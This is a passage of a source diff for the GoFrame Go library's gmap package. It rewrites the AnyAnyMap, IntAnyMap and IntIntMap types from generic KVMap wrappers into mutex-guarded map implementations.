 func (m *AnyAnyMap) Flip() {
 	m.mu.Lock()
 	defer m.mu.Unlock()
-	n := make(map[any]any, len(m.data))
+	n := make(map[interface{}]interface{}, len(m.data))
 	for k, v := range m.data {
 		n[v] = k
 	}
@@ -291,8 +441,19 @@ func (m *AnyAnyMap) Flip() {
 // Merge merges two hash maps.
 // The `other` map will be merged into the map `m`.
 func (m *AnyAnyMap) Merge(other *AnyAnyMap) {
-	m.lazyInit()
-	m.KVMap.Merge(other.KVMap)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = other.MapCopy()
+		return
+	}
+	if other != m {
+		other.mu.RLock()
+		defer other.mu.RUnlock()
+	}
+	for k, v := range other.data {
+		m.data[k] = v
+	}
 }
 
 // String returns the map as a string.
@@ -300,47 +461,102 @@ func (m *AnyAnyMap) String() string {
 	if m == nil {
 		return ""
 	}
-	m.lazyInit()
-	return m.KVMap.String()
+	b, _ := m.MarshalJSON()
+	return string(b)
 }
 
 // MarshalJSON implements the interface MarshalJSON for json.Marshal.
 func (m AnyAnyMap) MarshalJSON() ([]byte, error) {
-	m.lazyInit()
-	return m.KVMap.MarshalJSON()
+	return json.Marshal(gconv.Map(m.Map()))
 }
 
 // UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
 func (m *AnyAnyMap) UnmarshalJSON(b []byte) error {
-	m.lazyInit()
-	return m.KVMap.UnmarshalJSON(b)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[interface{}]interface{})
+	}
+	var data map[string]interface{}
+	if err := json.UnmarshalUseNumber(b, &data); err != nil {
+		return err
+	}
+	for k, v := range data {
+		m.data[k] = v
+	}
+	return nil
 }
 
 // UnmarshalValue is an interface implement which sets any type of value for map.
-func (m *AnyAnyMap) UnmarshalValue(value any) (err error) {
-	m.lazyInit()
-	return m.KVMap.UnmarshalValue(value)
+func (m *AnyAnyMap) UnmarshalValue(value interface{}) (err error) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[interface{}]interface{})
+	}
+	for k, v := range gconv.Map(value) {
+		m.data[k] = v
+	}
+	return
 }
 
 // DeepCopy implements interface for deep copy of current type.
-func (m *AnyAnyMap) DeepCopy() any {
-	m.lazyInit()
-	return &AnyAnyMap{
-		KVMap: m.KVMap.DeepCopy().(*KVMap[any, any]),
+func (m *AnyAnyMap) DeepCopy() interface{} {
+	if m == nil {
+		return nil
 	}
+
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	data := make(map[interface{}]interface{}, len(m.data))
+	for k, v := range m.data {
+		data[k] = deepcopy.Copy(v)
+	}
+	return NewFrom(data, m.mu.IsSafe())
 }
 
 // IsSubOf checks whether the current map is a sub-map of `other`.
 func (m *AnyAnyMap) IsSubOf(other *AnyAnyMap) bool {
-	m.lazyInit()
-	return m.KVMap.IsSubOf(other.KVMap)
+	if m == other {
+		return true
+	}
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	other.mu.RLock()
+	defer other.mu.RUnlock()
+	for key, value := range m.data {
+		otherValue, ok := other.data[key]
+		if !ok {
+			return false
+		}
+		if otherValue != value {
+			return false
+		}
+	}
+	return true
 }
 
 // Diff compares current map `m` with map `other` and returns their different keys.
 // The returned `addedKeys` are the keys that are in map `m` but not in map `other`.
 // The returned `removedKeys` are the keys that are in map `other` but not in map `m`.
 // The returned `updatedKeys` are the keys that are both in map `m` and `other` but their values and not equal (`!=`).
-func (m *AnyAnyMap) Diff(other *AnyAnyMap) (addedKeys, removedKeys, updatedKeys []any) {
-	m.lazyInit()
-	return m.KVMap.Diff(other.KVMap)
+func (m *AnyAnyMap) Diff(other *AnyAnyMap) (addedKeys, removedKeys, updatedKeys []interface{}) {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	other.mu.RLock()
+	defer other.mu.RUnlock()
+
+	for key := range m.data {
+		if _, ok := other.data[key]; !ok {
+			removedKeys = append(removedKeys, key)
+		} else if !reflect.DeepEqual(m.data[key], other.data[key]) {
+			updatedKeys = append(updatedKeys, key)
+		}
+	}
+	for key := range other.data {
+		if _, ok := m.data[key]; !ok {
+			addedKeys = append(addedKeys, key)
+		}
+	}
+	return
 }

container/gmap/gmap_hash_int_any_map.go

@@ -1,150 +1,251 @@
 // Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
 //
 // This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
+// If a copy of the MIT was not distributed with gm file,
 // You can obtain one at https://github.com/gogf/gf.
 //
 
 package gmap
 
 import (
-	"sync"
+	"reflect"
 
 	"github.com/gogf/gf/v2/container/gvar"
+	"github.com/gogf/gf/v2/internal/deepcopy"
+	"github.com/gogf/gf/v2/internal/empty"
+	"github.com/gogf/gf/v2/internal/json"
+	"github.com/gogf/gf/v2/internal/rwmutex"
 	"github.com/gogf/gf/v2/util/gconv"
 )
 
-// IntAnyMap implements map[int]any with RWMutex that has switch.
+// IntAnyMap implements map[int]interface{} with RWMutex that has switch.
 type IntAnyMap struct {
-	*KVMap[int, any]
-	once sync.Once
+	mu   rwmutex.RWMutex
+	data map[int]interface{}
 }
 
 // NewIntAnyMap returns an empty IntAnyMap object.
 // The parameter `safe` is used to specify whether using map in concurrent-safety,
 // which is false in default.
 func NewIntAnyMap(safe ...bool) *IntAnyMap {
-	m := &IntAnyMap{
-		KVMap: NewKVMap[int, any](safe...),
+	return &IntAnyMap{
+		mu:   rwmutex.Create(safe...),
+		data: make(map[int]interface{}),
 	}
-	return m
 }
 
 // NewIntAnyMapFrom creates and returns a hash map from given map `data`.
 // Note that, the param `data` map will be set as the underlying data map(no deep copy),
 // there might be some concurrent-safe issues when changing the map outside.
-func NewIntAnyMapFrom(data map[int]any, safe ...bool) *IntAnyMap {
-	m := &IntAnyMap{
-		KVMap: NewKVMapFrom(data, safe...),
+func NewIntAnyMapFrom(data map[int]interface{}, safe ...bool) *IntAnyMap {
+	return &IntAnyMap{
+		mu:   rwmutex.Create(safe...),
+		data: data,
 	}
-	return m
-}
-
-// lazyInit lazily initializes the map.
-func (m *IntAnyMap) lazyInit() {
-	m.once.Do(func() {
-		if m.KVMap == nil {
-			m.KVMap = NewKVMap[int, any](false)
-		}
-	})
 }
 
 // Iterator iterates the hash map readonly with custom callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
-func (m *IntAnyMap) Iterator(f func(k int, v any) bool) {
-	m.lazyInit()
-	m.KVMap.Iterator(f)
+func (m *IntAnyMap) Iterator(f func(k int, v interface{}) bool) {
+	for k, v := range m.Map() {
+		if !f(k, v) {
+			break
+		}
+	}
 }
 
 // Clone returns a new hash map with copy of current map data.
-func (m *IntAnyMap) Clone(safe ...bool) *IntAnyMap {
-	m.lazyInit()
-	return NewIntAnyMapFrom(m.MapCopy(), safe...)
+func (m *IntAnyMap) Clone() *IntAnyMap {
+	return NewIntAnyMapFrom(m.MapCopy(), m.mu.IsSafe())
 }
 
 // Map returns the underlying data map.
 // Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
 // or else a pointer to the underlying data.
-func (m *IntAnyMap) Map() map[int]any {
-	m.lazyInit()
-	return m.KVMap.Map()
+func (m *IntAnyMap) Map() map[int]interface{} {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	if !m.mu.IsSafe() {
+		return m.data
+	}
+	data := make(map[int]interface{}, len(m.data))
+	for k, v := range m.data {
+		data[k] = v
+	}
+	return data
 }
 
-// MapStrAny returns a copy of the underlying data of the map as map[string]any.
-func (m *IntAnyMap) MapStrAny() map[string]any {
-	m.lazyInit()
-	return m.KVMap.MapStrAny()
+// MapStrAny returns a copy of the underlying data of the map as map[string]interface{}.
+func (m *IntAnyMap) MapStrAny() map[string]interface{} {
+	m.mu.RLock()
+	data := make(map[string]interface{}, len(m.data))
+	for k, v := range m.data {
+		data[gconv.String(k)] = v
+	}
+	m.mu.RUnlock()
+	return data
 }
 
 // MapCopy returns a copy of the underlying data of the hash map.
-func (m *IntAnyMap) MapCopy() map[int]any {
-	m.lazyInit()
-	return m.KVMap.MapCopy()
+func (m *IntAnyMap) MapCopy() map[int]interface{} {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	data := make(map[int]interface{}, len(m.data))
+	for k, v := range m.data {
+		data[k] = v
+	}
+	return data
 }
 
 // FilterEmpty deletes all key-value pair of which the value is empty.
 // Values like: 0, nil, false, "", len(slice/map/chan) == 0 are considered empty.
 func (m *IntAnyMap) FilterEmpty() {
-	m.lazyInit()
-	m.KVMap.FilterEmpty()
+	m.mu.Lock()
+	for k, v := range m.data {
+		if empty.IsEmpty(v) {
+			delete(m.data, k)
+		}
+	}
+	m.mu.Unlock()
 }
 
 // FilterNil deletes all key-value pair of which the value is nil.
 func (m *IntAnyMap) FilterNil() {
-	m.lazyInit()
-	m.KVMap.FilterNil()
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	for k, v := range m.data {
+		if empty.IsNil(v) {
+			delete(m.data, k)
+		}
+	}
 }
 
 // Set sets key-value to the hash map.
-func (m *IntAnyMap) Set(key int, val any) {
-	m.lazyInit()
-	m.KVMap.Set(key, val)
+func (m *IntAnyMap) Set(key int, val interface{}) {
+	m.mu.Lock()
+	if m.data == nil {
+		m.data = make(map[int]interface{})
+	}
+	m.data[key] = val
+	m.mu.Unlock()
 }
 
 // Sets batch sets key-values to the hash map.
-func (m *IntAnyMap) Sets(data map[int]any) {
-	m.lazyInit()
-	m.KVMap.Sets(data)
+func (m *IntAnyMap) Sets(data map[int]interface{}) {
+	m.mu.Lock()
+	if m.data == nil {
+		m.data = data
+	} else {
+		for k, v := range data {
+			m.data[k] = v
+		}
+	}
+	m.mu.Unlock()
 }
 
 // Search searches the map with given `key`.
 // Second return parameter `found` is true if key was found, otherwise false.
-func (m *IntAnyMap) Search(key int) (value any, found bool) {
-	m.lazyInit()
-	return m.KVMap.Search(key)
+func (m *IntAnyMap) Search(key int) (value interface{}, found bool) {
+	m.mu.RLock()
+	if m.data != nil {
+		value, found = m.data[key]
+	}
+	m.mu.RUnlock()
+	return
 }
 
 // Get returns the value by given `key`.
-func (m *IntAnyMap) Get(key int) (value any) {
-	m.lazyInit()
-	return m.KVMap.Get(key)
+func (m *IntAnyMap) Get(key int) (value interface{}) {
+	m.mu.RLock()
+	if m.data != nil {
+		value = m.data[key]
+	}
+	m.mu.RUnlock()
+	return
 }
 
 // Pop retrieves and deletes an item from the map.
-func (m *IntAnyMap) Pop() (key int, value any) {
-	m.lazyInit()
-	return m.KVMap.Pop()
+func (m *IntAnyMap) Pop() (key int, value interface{}) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	for key, value = range m.data {
+		delete(m.data, key)
+		return
+	}
+	return
 }
 
 // Pops retrieves and deletes `size` items from the map.
 // It returns all items if size == -1.
-func (m *IntAnyMap) Pops(size int) map[int]any {
-	m.lazyInit()
-	return m.KVMap.Pops(size)
+func (m *IntAnyMap) Pops(size int) map[int]interface{} {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if size > len(m.data) || size == -1 {
+		size = len(m.data)
+	}
+	if size == 0 {
+		return nil
+	}
+	var (
+		index  = 0
+		newMap = make(map[int]interface{}, size)
+	)
+	for k, v := range m.data {
+		delete(m.data, k)
+		newMap[k] = v
+		index++
+		if index == size {
+			break
+		}
+	}
+	return newMap
+}
+
+// doSetWithLockCheck checks whether value of the key exists with mutex.Lock,
+// if not exists, set value to the map with given `key`,
+// or else just return the existing value.
+//
+// When setting value, if `value` is type of `func() interface {}`,
+// it will be executed with mutex.Lock of the hash map,
+// and its return value will be set to the map with `key`.
+//
+// It returns value with given `key`.
+func (m *IntAnyMap) doSetWithLockCheck(key int, value interface{}) interface{} {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[int]interface{})
+	}
+	if v, ok := m.data[key]; ok {
+		return v
+	}
+	if f, ok := value.(func() interface{}); ok {
+		value = f()
+	}
+	if value != nil {
+		m.data[key] = value
+	}
+	return value
 }
 
 // GetOrSet returns the value by key,
 // or sets value with given `value` if it does not exist and then returns this value.
-func (m *IntAnyMap) GetOrSet(key int, value any) any {
-	m.lazyInit()
-	return m.KVMap.GetOrSet(key, value)
+func (m *IntAnyMap) GetOrSet(key int, value interface{}) interface{} {
+	if v, ok := m.Search(key); !ok {
+		return m.doSetWithLockCheck(key, value)
+	} else {
+		return v
+	}
 }
 
 // GetOrSetFunc returns the value by key,
 // or sets value with returned value of callback function `f` if it does not exist and returns this value.
-func (m *IntAnyMap) GetOrSetFunc(key int, f func() any) any {
-	m.lazyInit()
-	return m.KVMap.GetOrSetFunc(key, f)
+func (m *IntAnyMap) GetOrSetFunc(key int, f func() interface{}) interface{} {
+	if v, ok := m.Search(key); !ok {
+		return m.doSetWithLockCheck(key, f())
+	} else {
+		return v
+	}
 }
 
 // GetOrSetFuncLock returns the value by key,
@@ -152,51 +253,56 @@ func (m *IntAnyMap) GetOrSetFunc(key int, f func() any) any {
 //
 // GetOrSetFuncLock differs with GetOrSetFunc function is that it executes function `f`
 // with mutex.Lock of the hash map.
-func (m *IntAnyMap) GetOrSetFuncLock(key int, f func() any) any {
-	m.lazyInit()
-	return m.KVMap.GetOrSetFuncLock(key, f)
+func (m *IntAnyMap) GetOrSetFuncLock(key int, f func() interface{}) interface{} {
+	if v, ok := m.Search(key); !ok {
+		return m.doSetWithLockCheck(key, f)
+	} else {
+		return v
+	}
 }
 
 // GetVar returns a Var with the value by given `key`.
 // The returned Var is un-concurrent safe.
 func (m *IntAnyMap) GetVar(key int) *gvar.Var {
-	m.lazyInit()
-	return m.KVMap.GetVar(key)
+	return gvar.New(m.Get(key))
 }
 
 // GetVarOrSet returns a Var with result from GetVarOrSet.
 // The returned Var is un-concurrent safe.
-func (m *IntAnyMap) GetVarOrSet(key int, value any) *gvar.Var {
-	m.lazyInit()
-	return m.KVMap.GetVarOrSet(key, value)
+func (m *IntAnyMap) GetVarOrSet(key int, value interface{}) *gvar.Var {
+	return gvar.New(m.GetOrSet(key, value))
 }
 
 // GetVarOrSetFunc returns a Var with result from GetOrSetFunc.
 // The returned Var is un-concurrent safe.
-func (m *IntAnyMap) GetVarOrSetFunc(key int, f func() any) *gvar.Var {
-	m.lazyInit()
-	return m.KVMap.GetVarOrSetFunc(key, f)
+func (m *IntAnyMap) GetVarOrSetFunc(key int, f func() interface{}) *gvar.Var {
+	return gvar.New(m.GetOrSetFunc(key, f))
 }
 
 // GetVarOrSetFuncLock returns a Var with result from GetOrSetFuncLock.
 // The returned Var is un-concurrent safe.
-func (m *IntAnyMap) GetVarOrSetFuncLock(key int, f func() any) *gvar.Var {
-	m.lazyInit()
-	return m.KVMap.GetVarOrSetFuncLock(key, f)
+func (m *IntAnyMap) GetVarOrSetFuncLock(key int, f func() interface{}) *gvar.Var {
+	return gvar.New(m.GetOrSetFuncLock(key, f))
 }
 
 // SetIfNotExist sets `value` to the map if the `key` does not exist, and then returns true.
 // It returns false if `key` exists, and `value` would be ignored.
-func (m *IntAnyMap) SetIfNotExist(key int, value any) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExist(key, value)
+func (m *IntAnyMap) SetIfNotExist(key int, value interface{}) bool {
+	if !m.Contains(key) {
+		m.doSetWithLockCheck(key, value)
+		return true
+	}
+	return false
 }
 
 // SetIfNotExistFunc sets value with return value of callback function `f`, and then returns true.
 // It returns false if `key` exists, and `value` would be ignored.
-func (m *IntAnyMap) SetIfNotExistFunc(key int, f func() any) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExistFunc(key, f)
+func (m *IntAnyMap) SetIfNotExistFunc(key int, f func() interface{}) bool {
+	if !m.Contains(key) {
+		m.doSetWithLockCheck(key, f())
+		return true
+	}
+	return false
 }
 
 // SetIfNotExistFuncLock sets value with return value of callback function `f`, and then returns true.
@@ -204,84 +310,127 @@ func (m *IntAnyMap) SetIfNotExistFunc(key int, f func() any) bool {
 //
 // SetIfNotExistFuncLock differs with SetIfNotExistFunc function is that
 // it executes function `f` with mutex.Lock of the hash map.
-func (m *IntAnyMap) SetIfNotExistFuncLock(key int, f func() any) bool {
-	m.lazyInit()
-	return m.KVMap.SetIfNotExistFuncLock(key, f)
+func (m *IntAnyMap) SetIfNotExistFuncLock(key int, f func() interface{}) bool {
+	if !m.Contains(key) {
+		m.doSetWithLockCheck(key, f)
+		return true
+	}
+	return false
 }
 
 // Removes batch deletes values of the map by keys.
 func (m *IntAnyMap) Removes(keys []int) {
-	m.lazyInit()
-	m.KVMap.Removes(keys)
+	m.mu.Lock()
+	if m.data != nil {
+		for _, key := range keys {
+			delete(m.data, key)
+		}
+	}
+	m.mu.Unlock()
 }
 
 // Remove deletes value from map by given `key`, and return this deleted value.
-func (m *IntAnyMap) Remove(key int) (value any) {
-	m.lazyInit()
-	return m.KVMap.Remove(key)
+func (m *IntAnyMap) Remove(key int) (value interface{}) {
+	m.mu.Lock()
+	if m.data != nil {
+		var ok bool
+		if value, ok = m.data[key]; ok {
+			delete(m.data, key)
+		}
+	}
+	m.mu.Unlock()
+	return
 }
 
 // Keys returns all keys of the map as a slice.
 func (m *IntAnyMap) Keys() []int {
-	m.lazyInit()
-	return m.KVMap.Keys()
+	m.mu.RLock()
+	var (
+		keys  = make([]int, len(m.data))
+		index = 0
+	)
+	for key := range m.data {
+		keys[index] = key
+		index++
+	}
+	m.mu.RUnlock()
+	return keys
 }
 
 // Values returns all values of the map as a slice.
-func (m *IntAnyMap) Values() []any {
-	m.lazyInit()
-	return m.KVMap.Values()
+func (m *IntAnyMap) Values() []interface{} {
+	m.mu.RLock()
+	var (
+		values = make([]interface{}, len(m.data))
+		index  = 0
+	)
+	for _, value := range m.data {
+		values[index] = value
+		index++
+	}
+	m.mu.RUnlock()
+	return values
 }
 
 // Contains checks whether a key exists.
 // It returns true if the `key` exists, or else false.
 func (m *IntAnyMap) Contains(key int) bool {
-	m.lazyInit()
-	return m.KVMap.Contains(key)
+	var ok bool
+	m.mu.RLock()
+	if m.data != nil {
+		_, ok = m.data[key]
+	}
+	m.mu.RUnlock()
+	return ok
 }
 
 // Size returns the size of the map.
 func (m *IntAnyMap) Size() int {
-	m.lazyInit()
-	return m.KVMap.Size()
+	m.mu.RLock()
+	length := len(m.data)
+	m.mu.RUnlock()
+	return length
 }
 
 // IsEmpty checks whether the map is empty.
 // It returns true if map is empty, or else false.
 func (m *IntAnyMap) IsEmpty() bool {
-	m.lazyInit()
-	return m.KVMap.IsEmpty()
+	return m.Size() == 0
 }
 
 // Clear deletes all data of the map, it will remake a new underlying data map.
 func (m *IntAnyMap) Clear() {
-	m.lazyInit()
-	m.KVMap.Clear()
+	m.mu.Lock()
+	m.data = make(map[int]interface{})
+	m.mu.Unlock()
 }
 
 // Replace the data of the map with given `data`.
-func (m *IntAnyMap) Replace(data map[int]any) {
-	m.lazyInit()
-	m.KVMap.Replace(data)
+func (m *IntAnyMap) Replace(data map[int]interface{}) {
+	m.mu.Lock()
+	m.data = data
+	m.mu.Unlock()
 }
 
 // LockFunc locks writing with given callback function `f` within RWMutex.Lock.
-func (m *IntAnyMap) LockFunc(f func(m map[int]any)) {
-	m.lazyInit()
-	m.KVMap.LockFunc(f)
+func (m *IntAnyMap) LockFunc(f func(m map[int]interface{})) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	f(m.data)
 }
 
 // RLockFunc locks reading with given callback function `f` within RWMutex.RLock.
-func (m *IntAnyMap) RLockFunc(f func(m map[int]any)) {
-	m.lazyInit()
-	m.KVMap.RLockFunc(f)
+func (m *IntAnyMap) RLockFunc(f func(m map[int]interface{})) {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	f(m.data)
 }
 
 // Flip exchanges key-value of the map to value-key.
 func (m *IntAnyMap) Flip() {
 	m.mu.Lock()
 	defer m.mu.Unlock()
-	n := make(map[int]any, len(m.data))
+	n := make(map[int]interface{}, len(m.data))
 	for k, v := range m.data {
 		n[gconv.Int(v)] = k
 	}
@@ -291,8 +440,19 @@ func (m *IntAnyMap) Flip() {
 // Merge merges two hash maps.
 // The `other` map will be merged into the map `m`.
 func (m *IntAnyMap) Merge(other *IntAnyMap) {
-	m.lazyInit()
-	m.KVMap.Merge(other.KVMap)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = other.MapCopy()
+		return
+	}
+	if other != m {
+		other.mu.RLock()
+		defer other.mu.RUnlock()
+	}
+	for k, v := range other.data {
+		m.data[k] = v
+	}
 }
 
 // String returns the map as a string.
@@ -300,40 +460,81 @@ func (m *IntAnyMap) String() string {
 	if m == nil {
 		return ""
 	}
-	m.lazyInit()
-	return m.KVMap.String()
+	b, _ := m.MarshalJSON()
+	return string(b)
 }
 
 // MarshalJSON implements the interface MarshalJSON for json.Marshal.
 func (m IntAnyMap) MarshalJSON() ([]byte, error) {
-	m.lazyInit()
-	return m.KVMap.MarshalJSON()
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	return json.Marshal(m.data)
 }
 
 // UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
 func (m *IntAnyMap) UnmarshalJSON(b []byte) error {
-	m.lazyInit()
-	return m.KVMap.UnmarshalJSON(b)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[int]interface{})
+	}
+	if err := json.UnmarshalUseNumber(b, &m.data); err != nil {
+		return err
+	}
+	return nil
 }
 
 // UnmarshalValue is an interface implement which sets any type of value for map.
-func (m *IntAnyMap) UnmarshalValue(value any) (err error) {
-	m.lazyInit()
-	return m.KVMap.UnmarshalValue(value)
+func (m *IntAnyMap) UnmarshalValue(value interface{}) (err error) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if m.data == nil {
+		m.data = make(map[int]interface{})
+	}
+	switch value.(type) {
+	case string, []byte:
+		return json.UnmarshalUseNumber(gconv.Bytes(value), &m.data)
+	default:
+		for k, v := range gconv.Map(value) {
+			m.data[gconv.Int(k)] = v
+		}
+	}
+	return
 }
 
 // DeepCopy implements interface for deep copy of current type.
-func (m *IntAnyMap) DeepCopy() any {
-	m.lazyInit()
-	return &IntAnyMap{
-		KVMap: m.KVMap.DeepCopy().(*KVMap[int, any]),
+func (m *IntAnyMap) DeepCopy() interface{} {
+	if m == nil {
+		return nil
 	}
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	data := make(map[int]interface{}, len(m.data))
+	for k, v := range m.data {
+		data[k] = deepcopy.Copy(v)
+	}
+	return NewIntAnyMapFrom(data, m.mu.IsSafe())
 }
 
 // IsSubOf checks whether the current map is a sub-map of `other`.
 func (m *IntAnyMap) IsSubOf(other *IntAnyMap) bool {
-	m.lazyInit()
-	return m.KVMap.IsSubOf(other.KVMap)
+	if m == other {
+		return true
+	}
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	other.mu.RLock()
+	defer other.mu.RUnlock()
+	for key, value := range m.data {
+		otherValue, ok := other.data[key]
+		if !ok {
+			return false
+		}
+		if otherValue != value {
+			return false
+		}
+	}
+	return true
 }
 
 // Diff compares current map `m` with map `other` and returns their different keys.
@@ -341,6 +542,22 @@ func (m *IntAnyMap) IsSubOf(other *IntAnyMap) bool {
 // The returned `removedKeys` are the keys that are in map `other` but not in map `m`.
 // The returned `updatedKeys` are the keys that are both in map `m` and `other` but their values and not equal (`!=`).
 func (m *IntAnyMap) Diff(other *IntAnyMap) (addedKeys, removedKeys, updatedKeys []int) {
-	m.lazyInit()
-	return m.KVMap.Diff(other.KVMap)
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	other.mu.RLock()
+	defer other.mu.RUnlock()
+
+	for key := range m.data {
+		if _, ok := other.data[key]; !ok {
+			removedKeys = append(removedKeys, key)
+		} else if !reflect.DeepEqual(m.data[key], other.data[key]) {
+			updatedKeys = append(updatedKeys, key)
+		}
+	}
+	for key := range other.data {
+		if _, ok := m.data[key]; !ok {
+			addedKeys = append(addedKeys, key)
+		}
+	}
+	return
 }

container/gmap/gmap_hash_int_int_map.go

@@ -1,17 +1,22 @@
 // Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
 //
 // This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
+// If a copy of the MIT was not distributed with gm file,
 // You can obtain one at https://github.com/gogf/gf.
 
 package gmap
 
-import "sync"
+import (
+	"github.com/gogf/gf/v2/internal/empty"
+	"github.com/gogf/gf/v2/internal/json"
+	"github.com/gogf/gf/v2/internal/rwmutex"
+	"github.com/gogf/gf/v2/util/gconv"
+)
 
 // IntIntMap implements map[int]int with RWMutex that has switch.
 type IntIntMap struct {
-	*KVMap[int, int]
-	once sync.Once
+	mu   rwmutex.RWMutex
+	data map[int]int
 }
 
 // NewIntIntMap returns an empty IntIntMap object.
@@ -19,7 +24,8 @@ type IntIntMap struct {
 // which is false in default.
 func NewIntIntMap(safe ...bool) *IntIntMap {
 	return &IntIntMap{
-		KVMap: NewKVMap[int, int](safe...),
+		mu:   rwmutex.Create(safe...),
+		data: make(map[int]int),
 	}
 }
 
@@ -28,109 +34,193 @@ func NewIntIntMap(safe ...bool) *IntIntMap {
 // there might be some concurrent-safe issues when changing the map outside.
 func NewIntIntMapFrom(data map[int]int, safe ...bool) *IntIntMap {
 	return &IntIntMap{
-		KVMap: NewKVMapFrom(data, safe...),
+		mu:   rwmutex.Create(safe...),
+		data: data,
 	}
 }
 
-// lazyInit lazily initializes the map.
-func (m *IntIntMap) lazyInit() {
-	m.once.Do(func() {
-		if m.KVMap == nil {
-			m.KVMap = NewKVMap[int, int](false)
-		}
-	})
-}
-
 // Iterator iterates the hash map readonly with custom callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
 func (m *IntIntMap) Iterator(f func(k int, v int) bool) {
-	m.lazyInit()
-	m.KVMap.Iterator(f)
+	for k, v := range m.Map() {
+		if !f(k, v) {
+			break
+		}
+	}
 }
 
 // Clone returns a new hash map with copy of current map data.
-func (m *IntIntMap) Clone(safe ...bool) *IntIntMap {
-	m.lazyInit()
-	return &IntIntMap{KVMap: m.KVMap.Clone(safe...)}
+func (m *IntIntMap) Clone() *IntIntMap {
+	return NewIntIntMapFrom(m.MapCopy(), m.mu.IsSafe())
 }
 
 // Map returns the underlying data map.
 // Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
 // or else a pointer to the underlying data.
 func (m *IntIntMap) Map() map[int]int {
-	m.lazyInit()
-	return m.KVMap.Map()
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	if !m.mu.IsSafe() {
+		return m.data
+	}
+	data := make(map[int]int, len(m.data))
+	for k, v := range m.data {
+		data[k] = v
+	}
+	return data
 }
 
-// MapStrAny returns a copy of the underlying data of the map as map[string]any.
-func (m *IntIntMap) MapStrAny() map[string]any {
-	m.lazyInit()
-	return m.KVMap.MapStrAny()
+// MapStrAny returns a copy of the underlying data of the map as map[string]interface{}.
+func (m *IntIntMap) MapStrAny() map[string]interface{} {
+	m.mu.RLock()
+	data := make(map[string]interface{}, len(m.data))
+	for k, v := range m.data {
+		data[gconv.String(k)] = v
+	}
+	m.mu.RUnlock()
+	return data
 }
 
 // MapCopy returns a copy of the underlying data of the hash map.
 func (m *IntIntMap) MapCopy() map[int]int {
-	m.lazyInit()
-	return m.KVMap.MapCopy()
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	data := make(map[int]int, len(m.data))
+	for k, v := range m.data {
+		data[k] = v
+	}
+	return data
 }
 
 // FilterEmpty deletes all key-value pair of which the value is empty.
 // Values like: 0, nil, false, "", len(slice/map/chan) == 0 are considered empty.
 func (m *IntIntMap) FilterEmpty() {
-	m.lazyInit()
-	m.KVMap.FilterEmpty()
+	m.mu.Lock()
+	for k, v := range m.data {
+		if empty.IsEmpty(v) {
+			delete(m.data, k)
+		}
+	}
+	m.mu.Unlock()
 }
 
 // Set sets key-value to the hash map.
 func (m *IntIntMap) Set(key int, val int) {
-	m.lazyInit()
-	m.KVMap.Set(key, val)
+	m.mu.Lock()
+	if m.data == nil {
+		m.data = make(map[int]int)
+	}
+	m.data[key] = val
+	m.mu.Unlock()
 }
 
 // Sets batch sets key-values to the hash map.
 func (m *IntIntMap) Sets(data map[int]int) {
-	m.lazyInit()
-	m.KVMap.Sets(data)
+	m.mu.Lock()
+	if m.data == nil {
+		m.data = data
+	} else {
+		for k, v := range data {
+			m.data[k] = v
+		}
+	}
+	m.mu.Unlock()
 }
 
 // Search searches the map with given `key`.
 // Second return parameter `found` is true if key was found, otherwise false.
 func (m *IntIntMap) Search(key int) (value int, found bool) {
-	m.lazyInit()
-	return m.KVMap.Search(key)
+	m.mu.RLock()
+	if m.data != nil {
+		value, found = m.data[key]
+	}
+	m.mu.RUnlock()
+	return
 }
 
 // Get returns the value by given `key`.
 func (m *IntIntMap) Get(key int) (value int) {
-	m.lazyInit()
-	return m.KVMap.Get(key)
+	m.mu.RLock()
+	if m.data != nil {
+		value = m.data[key]
+	}
+	m.mu.RUnlock()
+	return
 }
 
 // Pop retrieves and deletes an item from the map.
 func (m *IntIntMap) Pop() (key, value int) {
-	m.lazyInit()
-	return m.KVMap.Pop()
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	for key, value = range m.data {
+		delete(m.data, key)
+		return
+	}
+	return
 }
 
 // Pops retrieves and deletes `size` items from the map.
 // It returns all items if size == -1.
 func (m *IntIntMap) Pops(size int) map[int]int {
-	m.lazyInit()
-	return m.KVMap.Pops(size)
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	if size > len(m.data) || size == -1 {
+		size = len(m.data)
+	}
+	if size == 0 {
+		return nil
+	}
+	var (
+		index  = 0
+		newMap = make(map[int]int, size)
+	)
